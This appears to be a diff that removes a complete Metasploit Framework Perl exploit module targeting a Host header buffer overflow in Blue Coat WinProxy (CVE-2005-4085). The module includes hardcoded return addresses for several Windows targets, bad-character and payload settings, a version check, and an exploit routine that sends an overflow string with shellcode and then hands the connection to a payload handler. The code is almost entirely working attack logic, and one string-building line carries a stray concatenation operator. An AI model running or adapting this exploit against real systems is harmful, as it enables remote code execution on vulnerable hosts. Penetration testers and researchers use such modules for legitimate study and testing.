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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::bluecoat_winproxy;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'Blue Coat Systems WinProxy Host Header Buffer Overflow',
- 'Version' => '$Revision: 1.2 $',
- 'Authors' => [ 'y0 [at] w00t-shell.net', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
- 'AutoOpts' => { 'EXITFUNC' => 'thread' },
- 'Payload' =>
- {
- 'Space' => 600,
- 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
- 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a buffer overflow in Blue Coat Systems WinProxy
- HTTP proxy service. This flaw is triggered when the service processes
- a HTTP request that has a long string specified as the HTTP port.
-
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '22238'],
- ['URL', 'http://www.idefense.com/intelligence/vulnerabilities/display.php?id=364'],
- ['CVE', '2005-4085'],
- ],
-
- 'Targets' =>
- [
- ['WinProxy 6.0 R1c Universal', 0x6020ba04], # Asmdat.dll
- ['Windows 2000 Pro English ALL', 0x75022ac4], # ws2help.dll
- ['Windows XP Pro SP0/SP1 English', 0x71aa32ad], # ws2help.dll
- ],
-
- 'Keys' => ['winproxy'],
-
- 'DisclosureDate' => 'January 5 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my ($self) = @_;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $getreq =
- "GET / HTTP/1.1". "\r\n".
- "Host: 127.0.0.1". "\r\n\r\n";
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send($getreq);
- my $res = $s->Recv(-1, 10);
- $s->Close();
-
- if ($res !~ /BlueCoat-WinProxy/)
- {
- $self->PrintLine("[*] BlueCoat-WinProxy is not running =(");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] BlueCoat-WinProxy is running!");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $sploit =
- "GET / HTTP/1.1". "\r\n".
- "Host: 127.0.0.1:". Pex::Text::AlphaNumText(23).
- "\xeb\x06\x92\x46". pack('V', $target->[1]).
- $shellcode. "\r\n\r\n".
-
- $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
-
- 1;
-